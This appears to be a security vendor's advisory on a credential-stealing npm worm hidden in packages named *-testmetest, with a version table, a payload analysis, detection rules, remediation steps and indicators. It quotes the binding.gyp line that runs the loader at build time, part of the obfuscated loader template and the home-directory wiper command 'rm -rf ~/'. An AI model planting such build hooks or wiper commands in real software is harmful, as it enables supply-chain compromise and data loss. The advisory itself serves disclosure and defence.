testmetest npm Packages Carry a Miasma-Family Worm
On this page
An operator is testing a Miasma-family npm worm in public. Between 19 and 22 October 2026, npm
received 15 packages with names that end in testmetest. The accounts alexjoipamiba and
testnewtestme published four of them.
The malicious versions steal credentials, spread to other packages and repositories, and install a wiper
that deletes the home directory when the victim revokes the stolen GitHub token.
The worm shares code with Miasma “Phantom Gyp” from June 2026 and adds the token-revocation wiper from Mini Shai-Hulud. SafeDep has not confirmed its exact lineage. The infrastructure, loader layout and strings differ from Miasma, which defeats published Miasma signatures for loader size, file hashes and marker strings. As of 22 October 2026, SafeDep has found no compromised third-party packages or victims. All observed activity belongs to the operator’s own test accounts.
The packages
Each package follows three steps: a
0.0.0-stage stub, a harmless 1.0.0 decoy, then a malicious patch version such as 0.0.1 that
becomes latest.
Four packages are live, and [email protected] carries the worm. The other
eleven left the registry on 21 October. The table lists every known version.
| Row | ecosystem | name | version | published_utc | publisher | role | verdict | registry_status | tarball_sha1 |
|---|---|---|---|---|---|---|---|---|---|
| 1 | npm | event-bus-lite-testmetest | 0.0.0-stage | 2026-10-22T10:01:50Z | alexjoipamiba | stub | benign-stub | live | 71c000c6386010f8071bd424e100a72b986f1a87 |
| 2 | npm | event-bus-lite-testmetest | 1.0.0 | 2026-10-22T10:05:59Z | alexjoipamiba | decoy | benign-decoy | live | 2ee0dadb79432a6a48df1cb32eef4d0812dba611 |
| 3 | npm | event-bus-lite-testmetest | 0.0.1 | 2026-10-22T10:59:51Z | alexjoipamiba | armed | malicious | live (dist-tag latest) | 7c772b53c3fc70eeddaf0a8edad33abf23cddbe6 |
| 4 | npm | retry-utils-testmetest | 0.0.0-stage | 2026-10-22T10:01:53Z | alexjoipamiba | stub | benign-stub | live | c2bd0437b614be200d8f1965dc0879e8324edde2 |
| 5 | npm | retry-utils-testmetest | 1.0.0 | 2026-10-22T10:03:10Z | alexjoipamiba | decoy | benign-decoy | live | 210b49478415049db47bd7738d0650c0a8ecd353 |
| 6 | npm | sdk-utils-testmetest | 0.0.0-stage | 2026-10-19T10:18:30Z | testnewtestme | stub | benign-stub | live | 9fd868109ef1f4b3d73cb14d37bffb600dc16893 |
| 7 | npm | sdk-utils-testmetest | 1.0.0 | 2026-10-19T10:21:09Z | testnewtestme | decoy | benign-decoy | live | 15ff00ecbb18941c703537976e79bb53f87542db |
| 8 | npm | kvarzo8f3atestmetest | 0.0.0-stage | 2026-10-20T22:51:16Z | testnewtestme | stub | benign-stub | live | c3846f5ec2841f6477961c8a3ed14c61100f8dfa |
| 9 | npm | kvarzo8f3atestmetest | 1.0.0 | 2026-10-20T22:53:55Z | testnewtestme | decoy | benign-decoy | live | bd4748edb152b93c720a63e2cac09de8e56bf9ec |
| 10 | npm | data-pipeline-testmetest | 0.0.0-stage | 2026-10-21T10:32Z | unknown | stub | unknown | unpublished 2026-10-21T15:07:26Z | |
| 11 | npm | data-pipeline-testmetest | 1.0.0 | 2026-10-21T10:33Z | unknown | decoy? | unknown | unpublished 2026-10-21T15:07:26Z | |
| 12 | npm | data-pipeline-testmetest | 2.0.0 | 2026-10-21T10:51Z | unknown | unknown | unknown | unpublished 2026-10-21T15:07:26Z | |
| 13 | npm | data-pipeline-testmetest | 2.0.1 | 2026-10-21T11:13Z | unknown | armed | malicious | unpublished 2026-10-21T15:07:26Z | |
| 14 | npm | event-emitter-testmetest | 0.0.0-stage | 2026-10-21T10:56Z | unknown | stub | unknown | unpublished 2026-10-21T15:07:28Z | |
| 15 | npm | event-emitter-testmetest | 1.0.0 | 2026-10-21T11:02Z | unknown | decoy? | unknown | unpublished 2026-10-21T15:07:28Z | |
| 16 | npm | event-emitter-testmetest | 1.0.5 | 2026-10-21T11:15Z | unknown | unknown | unknown | unpublished 2026-10-21T15:07:28Z | |
| 17 | npm | event-emitter-testmetest | 1.0.4 | 2026-10-21T11:16Z | unknown | scaffold | investigating | unpublished 2026-10-21T15:07:28Z | |
| 18 | npm | event-emitter-testmetest | 1.0.6 | 2026-10-21T11:34Z | unknown | unknown | unknown | unpublished 2026-10-21T15:07:28Z | |
| 19 | npm | event-emitter-testmetest | 1.0.7 | 2026-10-21T11:37Z | unknown | armed (test) | malicious | unpublished 2026-10-21T15:07:28Z | |
| 20 | npm | event-emitter-testmetest | 3.0.0 | 2026-10-21T11:50Z | unknown | unknown | unknown | unpublished 2026-10-21T15:07:28Z | |
| 21 | npm | event-emitter-testmetest | 3.0.1 | 2026-10-21T11:57Z | unknown | unknown | unknown | unpublished 2026-10-21T15:07:28Z | |
| 22 | npm | event-emitter-testmetest | 5.0.0 | 2026-10-21T12:55Z | unknown | armed | malicious | unpublished 2026-10-21T15:07:28Z | |
| 23 | npm | event-emitter-testmetest | 4.1.0 | 2026-10-21T13:17Z | unknown | armed | malicious | unpublished 2026-10-21T15:07:28Z | |
| 24 | npm | test-brotli-testmetest | 0.0.0-stage | 2026-10-21T13:02Z | unknown | stub | unknown | unpublished 2026-10-21T15:07:38Z | |
| 25 | npm | test-brotli-testmetest | 1.0.0 | 2026-10-21T13:57Z | unknown | armed (test) | malicious | unpublished 2026-10-21T15:07:38Z | |
| 26 | npm | pixel-map-testmetest | 0.0.0-stage | 2026-10-21T17:08Z | unknown | stub | unknown | unpublished 2026-10-21T23:26:12Z | |
| 27 | npm | pixel-map-testmetest | 1.0.0 | 2026-10-21T17:10Z | unknown | decoy | investigating | unpublished 2026-10-21T23:26:12Z | |
| 28 | npm | pixel-map-testmetest | 0.0.1 | 2026-10-21T17:12Z | unknown | armed | malicious | unpublished 2026-10-21T23:26:12Z | |
| 29 | npm | pixel-map-testmetest | 0.0.2 | 2026-10-21T20:44Z | unknown | armed | malicious | unpublished 2026-10-21T23:26:12Z | |
| 30 | npm | pixel-map-testmetest | 0.0.3 | 2026-10-21T21:43Z | unknown | unknown | unknown | unpublished 2026-10-21T23:26:12Z | |
| 31 | npm | canvas-draw-testmetest | 0.0.0-stage | 2026-10-21T20:21Z | unknown | stub | unknown | unpublished 2026-10-21T23:26:05Z | |
| 32 | npm | canvas-draw-testmetest | 1.0.0 | 2026-10-21T20:22Z | unknown | decoy | investigating | unpublished 2026-10-21T23:26:05Z | |
| 33 | npm | net-codec-testmetest | 0.0.0-stage | 2026-10-21T22:10Z | unknown | stub | unknown | unpublished 2026-10-21T23:26:11Z | |
| 34 | npm | net-codec-testmetest | 1.0.0 | 2026-10-21T22:11Z | unknown | decoy? | unknown | unpublished 2026-10-21T23:26:11Z | |
| 35 | npm | net-codec-testmetest | 1.0.1 | 2026-10-21T22:34Z | unknown | armed | malicious | unpublished 2026-10-21T23:26:11Z | |
| 36 | npm | log-rotate-testmetest | 0.0.0-stage | 2026-10-21T22:11Z | unknown | stub | unknown | unpublished 2026-10-21T23:26:09Z | |
| 37 | npm | log-rotate-testmetest | 1.0.0 | 2026-10-21T22:12Z | unknown | decoy? | unknown | unpublished 2026-10-21T23:26:09Z | |
| 38 | npm | log-rotate-testmetest | 1.0.1 | 2026-10-21T22:33Z | unknown | armed | malicious | unpublished 2026-10-21T23:26:09Z | |
| 39 | npm | string-helpers-testmetest | 0.0.0-stage | 2026-10-21T16:22Z | unknown | stub | unknown | unpublished 2026-10-21T23:26Z | |
| 40 | npm | string-helpers-testmetest | 1.0.0 | unknown | unknown | decoy? | unknown | unpublished 2026-10-21T23:26Z | |
| 41 | npm | form-render-testmetest | 0.0.0-stage | 2026-10-21T22:09Z | unknown | stub | unknown | unpublished 2026-10-21T23:26Z | |
| 42 | npm | form-render-testmetest | 1.0.0 | unknown | unknown | decoy? | unknown | unpublished 2026-10-21T23:26Z | |
| 43 | npm | task-runner-testmetest | 0.0.0-stage | 2026-10-21T23:25Z | unknown | stub | unknown | unpublished 2026-10-21T23:26Z | |
| 44 | npm | byte-parser-testmetest | 0.0.0-stage | 2026-10-21T23:25Z | unknown | stub | unknown | unpublished 2026-10-21T23:26Z |
The operator also runs test repositories on GitHub under CementBeetleSteeple, and most already
contain the worm’s files. Do not clone or open them. Its commits use the same email address as the
npm account testnewtestme.
Related activity goes back to September. The GitHub account Meteordrewarm, registered 11 seconds
before CementBeetleSteeple, ran the first exfiltration test on 19 September from
[email protected]. npm removed an earlier package from the same cluster, testmgkregme, on 12
October.
How it runs
The package has no install scripts. npm runs node-gyp rebuild for any package that contains
binding.gyp, and the sources field runs the loader:
// binding.gyp @ [email protected]"sources": ["<!(node index.js 1>/dev/null 2>/dev/null; echo stub.c)"]index.js (14.8 KB) decrypts a Bun bootstrap and lib_native.dat (320 KB). The bootstrap finds
or downloads Bun. The loader writes the decrypted payload to /tmp/.b-*/index.js, runs it with
bun run, and deletes it.
What the payload does
- Evasion
- Exits on Russian and other Commonwealth of Independent States (CIS) locales, and on known analysis sandboxes.
- In GitHub Actions, kills StepSecurity Harden-Runner through
docker.sockand points*.stepsecurity.ioto localhost. Exits if this fails.
- Credential theft
- SSH keys, npm, PyPI and Git credentials,
.envfiles, browser logins. - AI tool credentials for Claude, Codex, Gemini and Copilot.
- AWS, GCP, Azure, Vault and Kubernetes secrets.
- GitHub Actions secrets from
Runner.Workerprocess memory.
- SSH keys, npm, PyPI and Git credentials,
- Exfiltration
- Commits encrypted data to a new public repository on the victim’s GitHub account, named like
smart-workers-48213with the descriptionproject-utils. - The commit message starts with
AutoSyncComplete:and carries the victim’s GitHub token, encrypted with a hardcoded key. Other infections search for these commits to reuse the tokens. - Fallback endpoint:
hxxps://aiarmor[.]website/v1/api.
- Commits encrypted data to a new public repository on the victim’s GitHub account, named like
- Propagation
- Adds the loader to the victim’s npm packages and publishes a new patch version.
- Republishes to PyPI, RubyGems and JFrog.
- Commits a fake CodeQL workflow and AI agent files (
.claude/settings.json,.cursor/mcp.json,CLAUDE.md,AGENTS.md,.vscode/tasks.json) and a Windows loader.github/init.ps1to GitHub and GitLab repositories. Injected commits copy the author and message of the most recent real commit on the branch, withgithub-actionsas a fallback. - Copies itself over SSH to the hosts in each user’s
known_hostsfile.
- Persistence
net-health-checkerchecks the stolen GitHub token every 45 seconds for 48 hours. On 401 or 403 it runsrm -rf ~/; rm -rf ~/Documents.pkg-runtimerunssync.py. Every hour it searches GitHub commits formsync-3f7a, then downloads and runs a Python script from a URL that the attacker’s RSA key signed.
What changed from Miasma
| Feature | Miasma (June 2026) | testmetest |
|---|---|---|
| Loader | Root index.js over 4 MB | 14.8 KB, payload in lib_native.dat |
| Command channel | Fixed commit search | msync-3f7a with signed commands |
| Exfiltration | GitHub only | GitHub and aiarmor[.]website |
| Wiper | Message only | Real deletion |
SafeDep does not attribute this variant to the original Miasma operators. The Shai-Hulud source has been public since May 2026, so other groups can build on it.
Detection
- A
binding.gyptarget whosesourcescontains<!(nodeand hides output, in a package without C or C++ sources. - A high-entropy
.dator.binfile next to a smallindex.jswith a large character-code array andeval. - Supporting signals, combined with the
binding.gyprule: abundependency inpackage.json, or a0.0.xlatestversion published after1.0.0. - The loader template is the same in every build:
(function(){var _r=0,_s=1,_t=2;try{eval((function(d,k){return d.replace(/[a-zA-Z]/g, - After decoding:
globalThis.getBunPath,msync-3f7a,aiarmor.website,net-health-checker.
Apply the binding.gyp rule to every package. A real attack will come through compromised
maintainer accounts with normal package names.
Remediation
-
Disconnect the host from the network.
-
Remove persistence first. On Linux:
Terminal window systemctl --user disable --now net-health-checker pkg-runtimerm -rf ~/.local/bin/net-health-checker.sh ~/.config/net-health-checker \~/.config/systemd/user/{net-health-checker,pkg-runtime}.service \~/.local/share/runtimes /var/tmp/.fontconfig_stateOn macOS:
Terminal window launchctl bootout gui/$(id -u) ~/Library/LaunchAgents/com.user.{net-health-checker,pkg-runtime}.plistThen delete those two
.plistfiles. -
Rotate all credentials: Git hosts, package registries, cloud, Vault, Kubernetes, SSH and AI providers.
-
Check your accounts for new
project-utilsrepositories, unexpected patch releases, and commits that add.claude/,.cursor/,.gemini/,.vscode/tasks.json,CLAUDE.mdorAGENTS.md, and for commits whose message starts withAutoSyncComplete:. The agent files infect the host again. -
Reinstall the operating system on the host.
Indicators of compromise
See the packages for the full list of package versions.
| Type | Value |
|---|---|
| npm account | alexjoipamiba, testnewtestme |
| GitHub account | CementBeetleSteeple (ID 295109074, same commit email as testnewtestme), Meteordrewarm (ID 295109040) |
| Repository file | AGENTS.md, .github/init.ps1, .claude/index.js |
| npm package | testmgkregme |
| Branch | chore/ci-<8 hex> |
| Commit suffix | skip-checks:true |
| Domain | aiarmor[.]website |
| C2 string | msync-3f7a |
| Commit prefix | AutoSyncComplete: |
| Service | net-health-checker, pkg-runtime |
| Tarball SHA-1 | 7c772b53c3fc70eeddaf0a8edad33abf23cddbe6 ([email protected]) |
| SHA-256 | 837904152e824645cb7d2d58a4a5e0aaa22d5e82a5d6eafe08b9c2b8b1bf4de6 (binding.gyp) |
| SHA-256 | 0b0e02b03ea3a2f8e8657143706e327a0b3608acbc1c43ec02ebc072dbe76944 (index.js) |
| SHA-256 | fc8e014b1c6940435880346fe3e84b20f2cbd9e65ed662283347a306929b8381 (lib_native.dat) |
| SHA-256 | c7ef186aa59b67d9b198a14f6dc8aaee6dd86510ac7c37d28f65d310cd846411 (sync.py) |
Each build uses new keys, so payload hashes change in every version. SafeDep decoded only
[email protected], using static analysis.
- malware
- npm
- supply-chain
- miasma
- shai-hulud
- worm
Author
Kunal Singh
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering
eMudhra CA Key Compromise: Response Guide for Developers
Anyone can compute eight eMudhra intermediate CA private keys from public certificates. Browsers block the compromised intermediates, but CI runners, containers, JVMs and Go binaries can still trust...
Forged Commits Push a preinstall Dropper into hugo-paper and mevn-cli
An attacker pushed forged commits to the default branches of hugo-paper and mevn-cli. Running npm install or bun install in either repository downloads and runs a second-stage script from...
Compromised LiteLLM 1.107.0 on PyPI Installs a Credential Stealer and Backdoor
Every wheel of LiteLLM 1.107.0 on PyPI installs a credential stealer and a remote code execution backdoor. Both run each time Python starts. The code is not in the upstream GitHub source.
MALFEX Moves Its npm Loader into a Native Windows DLL
The MALFEX package imgdecode contains a native Windows loader. When loaded from a console, it attempts to download, decrypt, and inject shellcode into dllhost.exe.
Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.